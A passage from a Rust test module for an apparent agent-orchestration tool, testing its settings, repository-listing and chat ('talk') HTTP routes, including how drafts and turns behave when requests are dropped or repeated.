7898                .unwrap_or_else(|| panic!("no role {k}: {v}"))
7899        };
7900        assert_eq!(role("judges")["source"], "machine");
7901        assert_eq!(role("judges")["editable"], true);
7902        assert_eq!(role("implementers")["source"], "default");
7903        let adv = role("advisors");
7904        assert_eq!(adv["fallback"], "judges");
7905        assert!(
7906            adv["seats"]
7907                .as_array()
7908                .is_some_and(|s| s.iter().all(|x| x == "b")),
7909            "{adv}"
7910        );
7911        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7912        assert_eq!(v["agents"][0]["source"], "repo");
7913    }
7914
7915    #[tokio::test]
7916    async fn settings_get_reports_a_config_that_does_not_parse() {
7917        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7918        let f = Fixture::with_repo_and_machine(repo, machine).await;
7919        let res = f.get("/api/settings").await;
7920        assert_eq!(res.status, 200, "{}", res.body);
7921        let v = res.json();
7922        assert!(v["error"]["message"].is_string(), "{v}");
7923        assert!(
7924            v["error"]["path"]
7925                .as_str()
7926                .is_some_and(|p| p.ends_with("magi.toml")),
7927            "{v}"
7928        );
7929        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7930    }
7931
7932    #[tokio::test]
7933    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7934        let (_tmp, repo, machine) = settings_dirs(
7935            SETTINGS_AGENTS,
7936            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
7937        );
7938        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7939        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7940        let rev = f.get("/api/settings").await.json()["revision"]
7941            .as_str()
7942            .expect("revision")
7943            .to_owned();
7944        let body = serde_json::json!({
7945            "revision": rev,
7946            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7947        })
7948        .to_string();
7949        let res = f.put("/api/settings/roles", &body).await;
7950        assert_eq!(res.status, 200, "{}", res.body);
7951        let text = std::fs::read_to_string(&machine).expect("machine");
7952        assert_eq!(
7953            text,
7954            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7955        );
7956        assert_eq!(
7957            std::fs::read(repo.join("magi.toml")).expect("read"),
7958            repo_before
7959        );
7960        let again = f.get("/api/settings").await.json();
7961        let judges = again["roles"]
7962            .as_array()
7963            .expect("roles")
7964            .iter()
7965            .find(|r| r["key"] == "judges")
7966            .expect("judges")
7967            .clone();
7968        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7969        // The old revision is now stale.
7970        let stale = f.put("/api/settings/roles", &body).await;
7971        assert_eq!(stale.status, 409, "{}", stale.body);
7972    }
7973
7974    #[tokio::test]
7975    async fn settings_put_refuses_without_touching_the_file() {
7976        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7977        let (_tmp, repo, machine) = settings_dirs(
7978            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7979            Some(machine_text),
7980        );
7981        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7982        let rev = f.get("/api/settings").await.json()["revision"]
7983            .as_str()
7984            .expect("revision")
7985            .to_owned();
7986        for roles in [
7987            serde_json::json!({ "judges": ["nope"] }),
7988            serde_json::json!({ "reviewers": ["b"] }),
7989            serde_json::json!({ "bogus": ["a"] }),
7990        ] {
7991            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7992            let res = f.put("/api/settings/roles", &body).await;
7993            assert_eq!(res.status, 422, "{roles}: {}", res.body);
7994            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7995            assert_eq!(
7996                std::fs::read_to_string(&machine).expect("machine"),
7997                machine_text
7998            );
7999        }
8000    }
8001
8002    #[tokio::test]
8003    async fn repos_list_returns_name_and_path_for_every_configured_root() {
8004        let tmp = TempDir::new().expect("tempdir");
8005        let repo = tmp.path().join("repo");
8006        std::fs::create_dir_all(&repo).expect("repo dir");
8007        let root = tmp.path().join("root");
8008        make_checkout(&root, "github.com", "yukimemi", "magi");
8009        std::fs::write(
8010            repo.join("magi.toml"),
8011            format!(
8012                "[repos]\nroots = [{:?}]\n",
8013                root.to_string_lossy().into_owned()
8014            ),
8015        )
8016        .expect("write magi.toml");
8017
8018        let f = Fixture::with_repo(repo).await;
8019        let res = f.get("/api/repos").await;
8020        assert_eq!(res.status, 200, "{}", res.body);
8021        let list = res.json();
8022        let repos = list.as_array().expect("an array");
8023        assert_eq!(repos.len(), 1);
8024        assert_eq!(repos[0]["name"], "yukimemi/magi");
8025        assert!(
8026            repos[0]["path"]
8027                .as_str()
8028                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8029            "{list}"
8030        );
8031    }
8032
8033    #[tokio::test]
8034    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8035        let tmp = TempDir::new().expect("tempdir");
8036        let repo = tmp.path().join("repo");
8037        std::fs::create_dir_all(&repo).expect("repo dir");
8038        let root = tmp.path().join("root");
8039        make_checkout(&root, "github.com", "yukimemi", "magi");
8040        std::fs::write(
8041            repo.join("magi.toml"),
8042            format!(
8043                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8044                root.to_string_lossy().into_owned()
8045            ),
8046        )
8047        .expect("write magi.toml");
8048
8049        let f = Fixture::with_repo(repo).await;
8050        let first = f.get("/api/repos").await;
8051        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8052
8053        // A second checkout appears; within the TTL the cached answer must
8054        // not notice it.
8055        make_checkout(&root, "github.com", "yukimemi", "rvpm");
8056        let second = f.get("/api/repos").await;
8057        assert_eq!(
8058            second.json().as_array().map(Vec::len),
8059            Some(1),
8060            "a fresh cache must not rescan inside the TTL"
8061        );
8062
8063        let refreshed = f.get("/api/repos?refresh=1").await;
8064        assert_eq!(
8065            refreshed.json().as_array().map(Vec::len),
8066            Some(2),
8067            "an explicit refresh must rescan even inside the TTL"
8068        );
8069    }
8070
8071    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
8072    /// string, declared straight in a repository's own `magi.toml` rather
8073    /// than the operator's real roster. No real agent CLI is spawned - `sh`
8074    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
8075    /// this is safe to run over a real HTTP round trip.
8076    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8077
8078    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
8079    /// real `Config::discover` to find an agent - `talk::begin` resolves one
8080    /// even though it takes no turn, and `talk_say` invokes one.
8081    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8082        let tmp = TempDir::new().expect("tempdir");
8083        let repo = tmp.path().join("repo");
8084        std::fs::create_dir_all(&repo).expect("repo dir");
8085        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8086        let f = Fixture::with_repo(repo.clone()).await;
8087        (tmp, repo, f)
8088    }
8089
8090    #[tokio::test]
8091    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8092        let (_tmp, _repo, f) = talk_fixture().await;
8093
8094        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
8095        // is the ordinary way a phone opens a talk.
8096        let opened = f.post("/api/talks", None).await;
8097        assert_eq!(opened.status, 201, "{}", opened.body);
8098        let body = opened.json();
8099        assert_eq!(body["status"], "open");
8100        assert_eq!(
8101            body["turns"].as_array().unwrap().len(),
8102            0,
8103            "opening takes no agent turn: there is nothing yet to answer"
8104        );
8105
8106        // An explicit empty object is the same request as none at all.
8107        let also_opened = f.post("/api/talks", Some("{}")).await;
8108        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8109
8110        let listed = f.get("/api/talks").await.json();
8111        assert_eq!(listed.as_array().unwrap().len(), 2);
8112    }
8113
8114    #[tokio::test]
8115    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8116        let tmp = TempDir::new().expect("tempdir");
8117        let repo = tmp.path().join("repo");
8118        std::fs::create_dir_all(&repo).expect("repo dir");
8119        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8120        std::fs::write(
8121            repo.join("magi.toml"),
8122            format!("{MOCK_AGENT_TOML}\n{second}"),
8123        )
8124        .expect("write magi.toml");
8125        let home = TempDir::new().expect("temp home");
8126        let talks = Talks::at(home.path().join("talks"));
8127        let ui = Arc::new(
8128            Ui::new(
8129                Queue::at(home.path().join("queue")),
8130                Questions::at(home.path().join("questions")),
8131                talks.clone(),
8132                home.path().join("runs"),
8133                home.path().to_path_buf(),
8134                repo.clone(),
8135            )
8136            .with_worktrees_root(home.path().join("wt")),
8137        );
8138        let cfg = config_for(&repo).await.expect("discover config");
8139        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8140        let id = talk.id.clone();
8141        let call = |agent: &str| {
8142            talk_agent(
8143                State(Arc::clone(&ui)),
8144                Path(id.clone()),
8145                Json(TalkAgent {
8146                    agent: agent.to_owned(),
8147                }),
8148            )
8149        };
8150
8151        let unknown = call("nobody").await.expect_err("unknown agent");
8152        assert_eq!(
8153            unknown.status,
8154            StatusCode::BAD_REQUEST,
8155            "{}",
8156            unknown.message
8157        );
8158
8159        {
8160            // The refused call hands its claim to a drain loop that releases
8161            // it a moment later.
8162            let mut claimed = None;
8163            for _ in 0..200 {
8164                claimed = ui.begin_talk_turn(&id).expect("claim");
8165                if claimed.is_some() {
8166                    break;
8167                }
8168                tokio::time::sleep(Duration::from_millis(10)).await;
8169            }
8170            let _busy = claimed.expect("free");
8171            let busy = call("second").await.expect_err("busy talk");
8172            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8173        }
8174        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8175
8176        let Json(view) = call("second").await.expect("switch");
8177        assert_eq!(view.talk.agent, "second");
8178        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8179        let saved = talks.get(&id).expect("reload");
8180        assert_eq!(saved.agent, "second");
8181        assert_eq!(saved.turns.len(), 1);
8182
8183        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8184            .await
8185            .expect("detail");
8186        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8187        assert_eq!(roster, ["mock", "second"]);
8188
8189        let mut closed = talks.get(&id).expect("reload");
8190        talk::close(&mut closed, &talks).expect("close");
8191        let refused = call("mock").await.expect_err("closed talk");
8192        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8193    }
8194
8195    #[tokio::test]
8196    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8197        let f = Fixture::start().await;
8198        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8199        let queue = f.queue();
8200        let mut mine = Task::new(
8201            "rename the loader".to_owned(),
8202            "rename the loader".to_owned(),
8203            PathBuf::from("/repo/magi"),
8204            Source::Agent {
8205                run: talk_id.clone(),
8206                node: "chat".to_owned(),
8207            },
8208        );
8209        queue.put(&mut mine).expect("file the task");
8210        let mut theirs = Task::new(
8211            "unrelated".to_owned(),
8212            "unrelated".to_owned(),
8213            PathBuf::from("/repo/magi"),
8214            Source::Human,
8215        );
8216        queue.put(&mut theirs).expect("file the task");
8217
8218        let res = f.get(&format!("/api/talks/{talk_id}")).await;
8219        assert_eq!(res.status, 200, "{}", res.body);
8220        let body = res.json();
8221        assert_eq!(
8222            body["status"], "open",
8223            "filing a task does not close a talk"
8224        );
8225        let tasks = body["tasks"].as_array().expect("tasks array");
8226        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8227        assert_eq!(tasks[0]["id"], mine.id);
8228    }
8229
8230    #[tokio::test]
8231    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8232        let (_tmp, _repo, f) = talk_fixture().await;
8233        let id = f.post("/api/talks", None).await.json()["id"]
8234            .as_str()
8235            .expect("id")
8236            .to_owned();
8237
8238        let res = f
8239            .post(
8240                &format!("/api/talks/{id}/say"),
8241                Some(r#"{"text":"what does the queue module do?"}"#),
8242            )
8243            .await;
8244        assert_eq!(res.status, 202, "{}", res.body);
8245        let queued = res.json();
8246        let turns = queued["turns"].as_array().expect("turns array");
8247        assert_eq!(
8248            turns.len(),
8249            1,
8250            "the answer reflects only what is on disk the instant it is sent, \
8251             before the agent's turn - which can run for the whole of \
8252             `[graph] timeout_talk` - has a chance to land: {queued}"
8253        );
8254        assert_eq!(turns[0]["who"], "operator");
8255        assert_eq!(turns[0]["body"], "what does the queue module do?");
8256        assert_eq!(
8257            queued["thinking"], true,
8258            "the accepted response exposes the background turn claim: {queued}"
8259        );
8260
8261        let mut turns_after = 1;
8262        for _ in 0..SETTLE_STEPS {
8263            let detail = f.get(&format!("/api/talks/{id}")).await.json();
8264            turns_after = detail["turns"].as_array().expect("turns array").len();
8265            if turns_after == 2 {
8266                break;
8267            }
8268            tokio::time::sleep(Duration::from_millis(10)).await;
8269        }
8270        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8271    }
8272
8273    /// A phone that reloads mid-request drops `talk_say`'s whole handler
8274    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
8275    /// guards against: `talk::record` used to return, and only *then* did the
8276    /// handler make a second, separate disk round trip before spawning the
8277    /// agent's reply task. A future dropped in that gap left a message
8278    /// recorded on disk with no reply task ever started and no way back short
8279    /// of a fresh message - and the gap was not even the whole story: *any*
8280    /// `.await` in this handler, including the very first one, is a point
8281    /// where a drop can land after the awaited work already finished but
8282    /// before this handler's own code resumes to act on it. `record` now
8283    /// runs inside the task `tokio::spawn` hands to the runtime before this
8284    /// handler ever awaits anything of its own again, so there is nothing
8285    /// left in *this* handler's future for a disconnect to interrupt between
8286    /// the message landing on disk and the reply task starting.
8287    ///
8288    /// A real socket disconnect cannot be relied on to land in the old gap
8289    /// from a test - over loopback, `talk_say` typically finishes before the
8290    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
8291    /// same failure mode directly: it drops the task's future at whatever
8292    /// point it has reached, exactly what axum does to the handler future,
8293    /// without needing to win a real network race. Sweeping the delay before
8294    /// aborting samples a range of points the task's execution can be at,
8295    /// including where the old code sat waiting on its second disk round
8296    /// trip - confirmed by reverting this fix locally and watching this same
8297    /// sweep catch a talk stuck with the operator's turn recorded and no
8298    /// reply ever following.
8299    #[tokio::test]
8300    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8301        let tmp = TempDir::new().expect("tempdir");
8302        let repo = tmp.path().join("repo");
8303        std::fs::create_dir_all(&repo).expect("repo dir");
8304        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8305        let home = TempDir::new().expect("temp home");
8306        let talks = Talks::at(home.path().join("talks"));
8307        let ui = Arc::new(
8308            Ui::new(
8309                Queue::at(home.path().join("queue")),
8310                Questions::at(home.path().join("questions")),
8311                talks.clone(),
8312                home.path().join("runs"),
8313                home.path().to_path_buf(),
8314                repo.clone(),
8315            )
8316            .with_worktrees_root(home.path().join("wt")),
8317        );
8318        let cfg = config_for(&repo).await.expect("discover config");
8319
8320        for delay in 0..40u32 {
8321            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8322            let id = talk.id.clone();
8323
8324            let handler = tokio::spawn(talk_say(
8325                State(Arc::clone(&ui)),
8326                Path(id.clone()),
8327                Ok(Json(NewTalkTurn {
8328                    text: "what does the queue module do?".to_owned(),
8329                    attachments: Vec::new(),
8330                })),
8331            ));
8332            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8333            handler.abort();
8334            // Wait out the abort so the next iteration's talk does not race
8335            // this one's still-unwinding turn guard.
8336            let _ = handler.await;
8337
8338            let mut turns = 0;
8339            for _ in 0..SETTLE_STEPS {
8340                if let Ok(fresh) = talks.get(&id) {
8341                    turns = fresh.turns.len();
8342                    if turns != 1 {
8343                        break;
8344                    }
8345                }
8346                tokio::time::sleep(Duration::from_millis(10)).await;
8347            }
8348            assert_ne!(
8349                turns, 1,
8350                "delay {delay}: talk {id} recorded the operator's turn but \
8351                 the agent never answered - the reply task was never \
8352                 started after the handler future was dropped"
8353            );
8354        }
8355    }
8356
8357    /// The same drop, landing on `talk_say`'s other durable write.
8358    ///
8359    /// When a turn is already running, the busy branch persists the
8360    /// operator's text as a queued draft and then reclaims the turn slot if
8361    /// the holder gave it up in the meantime - and whoever reclaims owes that
8362    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
8363    /// which finishes whether or not the future awaiting it is still there,
8364    /// so a handler dropped at that `.await` used to leave the draft written
8365    /// to disk with the reclaimed guard dropped unread and no drainer ever
8366    /// started: the message sat queued until some unrelated later `say`
8367    /// happened to pick it up.
8368    ///
8369    /// This used to drive the handler future by hand, polling it a fixed
8370    /// number of times to park it at the `.await` where it asks for the turn
8371    /// and finds it busy, before the reclaim's slot-free case could be set up
8372    /// underneath it. That assumed a fixed number of polls lands at a fixed
8373    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
8374    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
8375    /// poll, so any number of this handler's several `blocking` awaits can
8376    /// collapse into one poll under load, landing the drive somewhere other
8377    /// than intended - including, occasionally, straight past the handler's
8378    /// own completion, which made polling it again panic with "async fn
8379    /// resumed after completion". No poll count fixes that; the handler's
8380    /// progress simply is not something a caller outside it can observe by
8381    /// counting.
8382    ///
8383    /// [`BusyQueueGate`] replaces the poll count with a real stop point
8384    /// inside the write itself, so the interleaving under test is pinned by
8385    /// an event instead of a guess: the gate fires only once the handler has
8386    /// actually decided `Busy` and is about to persist the draft, and it
8387    /// blocks that write until the test lets it through. Between those two
8388    /// moments the test drains the turn the handler found busy - through
8389    /// `drain_loop`, the protocol's other half - and then aborts the handler
8390    /// task outright, the same way axum drops a disconnected request's
8391    /// future. The write, and the reclaim it may do, run to completion
8392    /// regardless: they live in the `tokio::spawn` task the busy branch hands
8393    /// to the runtime before ever touching the gate, wholly independent of
8394    /// whether the handler that started it is still around - which is what
8395    /// this test is actually checking. A drainer other than that reclaim
8396    /// cannot exist here: the test's own `drain_loop` call happens before the
8397    /// gate opens, so it runs while the queue is still empty and hands the
8398    /// turn straight back rather than draining anything, closing off the
8399    /// possibility of the final assertion passing without the reclaim ever
8400    /// having done its job.
8401    #[tokio::test]
8402    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8403        let tmp = TempDir::new().expect("tempdir");
8404        let repo = tmp.path().join("repo");
8405        std::fs::create_dir_all(&repo).expect("repo dir");
8406        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8407        let home = TempDir::new().expect("temp home");
8408        let talks = Talks::at(home.path().join("talks"));
8409        let ui = Arc::new(
8410            Ui::new(
8411                Queue::at(home.path().join("queue")),
8412                Questions::at(home.path().join("questions")),
8413                talks.clone(),
8414                home.path().join("runs"),
8415                home.path().to_path_buf(),
8416                repo.clone(),
8417            )
8418            .with_worktrees_root(home.path().join("wt")),
8419        );
8420        let cfg = config_for(&repo).await.expect("discover config");
8421
8422        for attempt in 0..3u32 {
8423            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8424            let id = talk.id.clone();
8425            // A turn is already running, which is what sends `talk_say` down
8426            // the busy branch.
8427            let turn_guard = ui
8428                .begin_talk_turn(&id)
8429                .expect("claim the turn")
8430                .expect("a fresh talk owes nobody a turn");
8431
8432            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8433            let (release_tx, release_rx) = std::sync::mpsc::channel();
8434            ui.set_busy_queue_gate(BusyQueueGate {
8435                reached: reached_tx,
8436                release: release_rx,
8437            });
8438
8439            let handler = tokio::spawn(talk_say(
8440                State(Arc::clone(&ui)),
8441                Path(id.clone()),
8442                Ok(Json(NewTalkTurn {
8443                    text: "what does the queue module do?".to_owned(),
8444                    attachments: Vec::new(),
8445                })),
8446            ));
8447
8448            // Wait for the busy branch to actually reach the gate, rather
8449            // than for any fixed number of polls of anything - a bounded
8450            // wait rather than a bare `.await` so a regression that never
8451            // reaches the gate fails the test instead of hanging it.
8452            tokio::time::timeout(Duration::from_secs(5), reached_rx)
8453                .await
8454                .unwrap_or_else(|_| {
8455                    panic!(
8456                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8457                    )
8458                })
8459                .expect("the busy branch dropped the gate without using it");
8460
8461            // The turn that was running now finishes and gives the slot up
8462            // the way a real one does - through `drain_loop`, which finds
8463            // nothing queued yet (the write is still held at the gate) and
8464            // releases. The handler, parked inside `spawn_blocking` on the
8465            // other side of the gate, still believes the talk is busy -
8466            // exactly the interleaving the reclaim exists for.
8467            let running = talks.get(&id).expect("reload talk");
8468            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8469
8470            // Drop the handler future now, the way a reloading phone drops
8471            // it: suspended waiting on the busy branch's answer, having
8472            // itself made no more progress since it handed the write off.
8473            handler.abort();
8474            let _ = handler.await;
8475
8476            // Only now let the gated write proceed. It persists the draft
8477            // and reclaims the now-free slot from inside the task the busy
8478            // branch already spawned - unaffected by the handler's abort
8479            // above, since that task was independent of the handler's own
8480            // future from the moment it was spawned.
8481            let _ = release_tx.send(());
8482
8483            // A settled talk: the draft drained into an operator turn and
8484            // answered.
8485            let mut fresh = talks.get(&id).expect("reload talk");
8486            for _ in 0..SETTLE_STEPS {
8487                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8488                    break;
8489                }
8490                tokio::time::sleep(Duration::from_millis(10)).await;
8491                fresh = talks.get(&id).expect("reload talk");
8492            }
8493            assert!(
8494                fresh.pending.is_empty() && fresh.turns.len() == 2,
8495                "attempt {attempt}: talk {id} left the operator's text queued \
8496                 with no drainer - the reclaimed turn was dropped along with \
8497                 the handler future (pending {:?}, {} turns)",
8498                fresh.pending,
8499                fresh.turns.len()
8500            );
8501        }
8502    }
8503
8504    #[tokio::test]
8505    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8506        let (_tmp, _repo, f) = talk_fixture().await;
8507        let id = f.post("/api/talks", None).await.json()["id"]
8508            .as_str()
8509            .expect("id")
8510            .to_owned();
8511        let store = f.talks();
8512        let mut recovered = store.get(&id).expect("opened talk");
8513        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8514            .expect("persist pending draft without a live turn");
8515
8516        let edited = f
8517            .post(
8518                &format!("/api/talks/{id}/pending/edit"),
8519                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8520            )
8521            .await;
8522        assert_eq!(edited.status, 200, "{}", edited.body);
8523        assert!(edited.json()["thinking"].as_bool().unwrap());
8524
8525        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8526        for _ in 0..SETTLE_STEPS {
8527            if detail["turns"].as_array().expect("turns").len() == 2 {
8528                break;
8529            }
8530            tokio::time::sleep(Duration::from_millis(10)).await;
8531            detail = f.get(&format!("/api/talks/{id}")).await.json();
8532        }
8533        let turns = detail["turns"].as_array().expect("turns");
8534        assert_eq!(
8535            turns.len(),
8536            2,
8537            "the recovered draft must run once: {detail}"
8538        );
8539        assert_eq!(turns[0]["body"], "corrected");
8540        assert_eq!(detail["pending"], "");
8541    }
8542
8543    #[tokio::test]
8544    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8545        let tmp = TempDir::new().expect("tempdir");
8546        let repo = tmp.path().join("repo");
8547        std::fs::create_dir_all(&repo).expect("repo dir");
8548        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8549        let f = Fixture::with_repo(repo).await;
8550        let id = f.post("/api/talks", None).await.json()["id"]
8551            .as_str()
8552            .expect("id")
8553            .to_owned();
8554        let store = f.talks();
8555        let mut recovered = store.get(&id).expect("opened talk");
8556        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8557            .expect("persist pending draft without a live turn");
8558
8559        let refused = f
8560            .post(
8561                &format!("/api/talks/{id}/say"),
8562                Some(r#"{"text":"new message"}"#),
8563            )
8564            .await;
8565        assert_eq!(refused.status, 409, "{}", refused.body);
8566        assert!(refused.body.contains("resume"), "{}", refused.body);
8567        let saved = store.get(&id).expect("draft remains after refusal");
8568        assert!(saved.turns.is_empty());
8569        assert_eq!(saved.pending, "saved before restart");
8570
8571        let say_path = format!("/api/talks/{id}/say");
8572        let (first, second) = tokio::join!(
8573            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8574            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8575        );
8576        assert_eq!(first.status, 409, "{}", first.body);
8577        assert_eq!(second.status, 409, "{}", second.body);
8578        let saved = store
8579            .get(&id)
8580            .expect("draft remains after concurrent refusals");
8581        assert!(saved.turns.is_empty());
8582        assert_eq!(saved.pending, "saved before restart");
8583
8584        let resumed = f
8585            .post(&format!("/api/talks/{id}/pending/resume"), None)
8586            .await;
8587        assert_eq!(resumed.status, 202, "{}", resumed.body);
8588        let duplicate = f
8589            .post(&format!("/api/talks/{id}/pending/resume"), None)
8590            .await;
8591        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8592
8593        for _ in 0..SETTLE_STEPS {
8594            if store.get(&id).expect("talk").turns.len() == 2 {
8595                break;
8596            }
8597            tokio::time::sleep(Duration::from_millis(10)).await;
8598        }
8599        let finished = store.get(&id).expect("finished talk");
8600        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8601        assert_eq!(finished.turns[0].body, "saved before restart");
8602        assert!(finished.pending.is_empty());
8603    }
8604
8605    #[tokio::test]
8606    async fn an_image_only_recovered_draft_resumes_without_text() {
8607        let (_tmp, _repo, f) = talk_fixture().await;
8608        let id = f.post("/api/talks", None).await.json()["id"]
8609            .as_str()
8610            .expect("id")
8611            .to_owned();
8612        let uploaded = f
8613            .post_bytes(
8614                &format!("/api/talks/{id}/attachments"),
8615                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8616                PNG_BYTES,
8617            )
8618            .await;
8619        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8620        let attachment = f
8621            .talks()
8622            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8623            .expect("attachment metadata")
8624            .expect("stored attachment");
8625        let store = f.talks();
8626        let mut recovered = store.get(&id).expect("opened talk");
8627        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8628
8629        let resumed = f
8630            .post(&format!("/api/talks/{id}/pending/resume"), None)
8631            .await;
8632        assert_eq!(resumed.status, 202, "{}", resumed.body);
8633        for _ in 0..SETTLE_STEPS {
8634            if store.get(&id).expect("talk").turns.len() == 2 {
8635                break;
8636            }
8637            tokio::time::sleep(Duration::from_millis(10)).await;
8638        }
8639        let finished = store.get(&id).expect("finished talk");
8640        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8641        assert!(finished.turns[0].body.is_empty());
8642        assert_eq!(finished.turns[0].attachments.len(), 1);
8643        assert!(finished.pending_attachments.is_empty());
8644    }
8645
8646    #[tokio::test]
8647    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8648        let (_tmp, _repo, f) = talk_fixture().await;
8649        let id = f.post("/api/talks", None).await.json()["id"]
8650            .as_str()
8651            .expect("id")
8652            .to_owned();
8653        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8654        assert_eq!(closed.status, 200, "{}", closed.body);
8655        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8656            .expect("serialize closed talk");
8657        for (path, body) in [
8658            (format!("/api/talks/{id}/pending/resume"), None),
8659            (
8660                format!("/api/talks/{id}/pending/clear"),
8661                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8662            ),
8663            (
8664                format!("/api/talks/{id}/pending/edit"),
8665                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8666            ),
8667            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8668        ] {
8669            let response = f.post(&path, body).await;
8670            assert_eq!(response.status, 409, "{}", response.body);
8671        }
8672        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8673            .expect("serialize closed talk");
8674        assert_eq!(
8675            after_clear, before_clear,
8676            "clear must not rewrite a closed talk"
8677        );
8678    }
8679
8680    /// Keeps both claims observable long enough to exercise the distinction
8681    /// between one busy talk and a globally locked Chat surface.
8682    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8683
8684    #[tokio::test]
8685    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8686        let tmp = TempDir::new().expect("tempdir");
8687        let repo = tmp.path().join("repo");
8688        std::fs::create_dir_all(&repo).expect("repo dir");
8689        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8690        let f = Fixture::with_repo(repo).await;
8691        let id_a = f.post("/api/talks", None).await.json()["id"]
8692            .as_str()
8693            .unwrap()
8694            .to_owned();
8695        let id_b = f.post("/api/talks", None).await.json()["id"]
8696            .as_str()
8697            .unwrap()
8698            .to_owned();
8699
8700        let a = f
8701            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8702            .await;
8703        assert_eq!(a.status, 202, "{}", a.body);
8704        assert_eq!(a.json()["thinking"], true);
8705        let b = f
8706            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8707            .await;
8708        assert_eq!(b.status, 202, "{}", b.body);
8709        assert_eq!(b.json()["thinking"], true);
8710
8711        let listed = f.get("/api/talks").await.json();
